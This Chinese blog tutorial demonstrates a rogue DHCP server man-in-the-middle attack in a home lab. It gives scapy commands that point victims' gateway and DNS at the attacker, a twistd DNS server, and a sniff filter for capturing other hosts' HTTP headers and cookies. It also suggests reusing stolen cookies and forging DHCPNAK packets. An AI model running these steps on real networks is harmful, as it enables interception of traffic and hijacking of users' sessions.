DHCP 中间人攻击入门

简介: DHCP是,是干啥的呢?简单来说是为了自动化为网络中的主机配置各种配置,包括ip地址,网关,域名服务器等等。有篇不错的中文教程带你回顾整个dhcp服务过程,然而,事情不总是这样的。比如linux和安卓一般默认就没有arping检查重复ip的过程。

image.png

实验准备

  • scapy:用来伪造dhcp/dns服务器,抓包(调用tcpdump)
  • tcpdump/wireshark:来观察网络流量。
  • twisted来建立dns服务器
  • 某个测试机器和某路由无线网络


一点DHCP协议基础

DHCP是,是干啥的呢?简单来说是为了自动化为网络中的主机配置各种配置,包括ip地址,网关,域名服务器等等。

有篇不错的中文教程带你回顾整个dhcp服务过程,然而,事情不总是这样的。比如linux和安卓一般默认就没有arping检查重复ip的过程。


Rogue DHCP Server

流氓服务器,指非法在网络中提供dhcp服务的机器。由于dhcp服务没有认证过程,任何dhcp服务器都能为网络上的机器提供服务。实际上就是几个服务器竞争看谁反应快客户端就使用谁,这为中间人攻击提供了可能。


一次中间人攻击

我们试着搭建一个流氓dhcp服务器来指向错误的网关和dns(即我们自己)。

本机的ip地址是192.168.1.101,这是无线路由中dhcp服务器分配的。为了让实验一定成功,最好干脆把无线路由的dhcp功能关掉,自己手动配置地址192.168.1.101,然后搭建个dhcp服务器。

首先,确认设置ip转发功能:

gentoo ~ # echo 1 > /proc/sys/net/ipv4/ip_forward

首先,用scapy搭建一个dhcp服务器,把网关指向自己。scapy中DHCP_am的设计就是把nameserver也指向网关,可参考源代码。

>>>dhcp_server= DHCP_am()

>>>dhcp_server.gw='192.168.1.101'

>>>dhcp_server()

监听观察,发现默认网关的dhcp服务器竟然给了一个dhcpnak

~ $sudo tcpdump -i wlan0 port 67or port 68

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on wlan0, link-type EN10MB (Ethernet), capture size 65535bytes

23:18:55.634526 IP 0.0.0.0.bootpc > 255.255.255.255.bootps: BOOTP/DHCP, Request from 22:22:22:22:22:22 (oui Unknown), length 302

23:18:55.681009 IP 192.168.1.101.bootps > 192.168.1.128.bootpc: BOOTP/DHCP, Reply, length 296

23:18:55.688288 IP 0.0.0.0.bootpc > 255.255.255.255.bootps: BOOTP/DHCP, Request from 22:22:22:22:22:22 (oui Unknown), length 314

23:18:55.781062 IP 192.168.1.101.bootps > 192.168.1.128.bootpc: BOOTP/DHCP, Reply, length 296

23:18:56.124282 IP 192.168.1.1.bootps > 255.255.255.255.bootpc: BOOTP/DHCP, Reply, length 548

用twisted建立一个DNS服务器:

sudotwistd-ndns --recursive --cache

在scapy中开始中间人攻击(窃听),比如窃听http头:

pkts = sniff(filter="(tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)) and host 192.168.1.128 and (not host 192.168.1.1)",iface="wlan0", prn=lambda x: x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}"))

192.168.1.128 -> 123.125.70.102

'GET /tongji/anchor?type=webapp_pv&t=1394205309005&page=carousel HTTP/1.1\r\nHost: wk.baidu.com\r\nAccept-Encod此处略去具体信息'

搞到cookie后尽情发挥吧,可以用temper data这种东西在火狐里试下。当然,cookie可以在各种地方比如requests啊selenium里啊使用。

完工。其实后来实验时无线路由dhcp服务器被选中了,然后我的rogue dhcp server就一直处于无用状态。

FIXME:可以尝试一个dhcprelease来试着解除租约,可能涉及xid或transaction ID这些东西的监听和伪造。也许会在查阅更多资料后尝试,也许。

Update:以下这个链接做了这些,不过,它怎么获得xid(transaction id)的不是很明白,要赶在dhcp client的dhcprequest发出之后dhcp server返回dhcpack之前向dhcp client注入dhcpnak,好像得在开始建立连接的时候就开始监听,获取transaction id,直接就伪装成dhcp服务器想客户端发送dhcpnak。

附注: 最开始我用scapy来建立dns服务器: dns_spoof().关于用scapy做DNS转发服务器,参见PacketGeek上scapy的教程Scapy and DNS


相关文章
|
7月前
|
存储 人工智能 缓存
DeepSeek 开源周第三弹!DeepGEMM:FP8矩阵计算神器!JIT编译+Hopper架构优化,MoE性能飙升
DeepGEMM 是 DeepSeek 开源的专为 FP8 矩阵乘法设计的高效库,支持普通和混合专家(MoE)分组的 GEMM 操作,基于即时编译技术,动态优化矩阵运算,显著提升计算性能。
678 3
DeepSeek 开源周第三弹!DeepGEMM:FP8矩阵计算神器!JIT编译+Hopper架构优化,MoE性能飙升
|
11月前
|
消息中间件 网络协议 NoSQL
1000W长连接,如何建立和维护?千万用户IM 架构设计
最近有小伙伴在面试 美团,又遇到了 IM 架构问题。小伙伴支支吾吾的说了几句,面试挂了。 所以,尼恩给大家做一下系统化、体系化的梳理,使得大家内力猛增,可以充分展示一下大家雄厚的 “技术肌肉”,**让面试官爱到 “不能自已、口水直流”**,然后实现”offer直提”
|
前端开发 JavaScript Android开发
探索Android和iOS开发中的跨平台解决方案
【8月更文挑战第1天】随着移动应用市场的不断扩张,开发者面临一个共同的挑战——如何高效地为多个平台创建和维护应用程序。本文将深入探讨跨平台开发工具,特别是Flutter和React Native,通过比较它们的优势和限制,并辅以实际代码示例,揭示这些工具如何帮助开发者在保持高性能的同时,实现代码的最大化重用。
|
12月前
|
数据可视化 数据处理 Python
Python操作Excel:轻松实现数据处理与分析
Python操作Excel:轻松实现数据处理与分析
645 0
|
负载均衡 网络协议 vr&ar
ensp中rip动态路由协议原理及配置命令(详解)
ensp中rip动态路由协议原理及配置命令(详解)
2059 3
|
监控 API 开发工具
邮件中继中转邮箱API发送邮件的方法和步骤
AokSend介绍了使用邮件中继中转邮箱API发送邮件的步骤:理解API概念,获取API密钥,设置发件人和收件人信息,构建并发送API请求,处理响应,监控调试,及完善邮件功能。该服务支持大量验证码发送、触发式接口和高触达SMTP/API接口。选择合适提供商并参考文档可优化邮件发送。
|
网络协议 数据库 网络架构
OSPF 四种设备角色:IR、ABR、BR、ASBR
【4月更文挑战第5天】
3331 2
OSPF 四种设备角色:IR、ABR、BR、ASBR
|
Java API 网络架构
Spring Boot与Spring Cloud Gateway的集成
Spring Boot与Spring Cloud Gateway的集成
|
数据采集 Web App开发 Java
盘点Java爬虫框架
盘点Java爬虫框架
354 0
|
Go 文件存储 iOS开发
LabVIEW崩溃后所产生的错误日志文件的位置
LabVIEW崩溃后所产生的错误日志文件的位置
347 0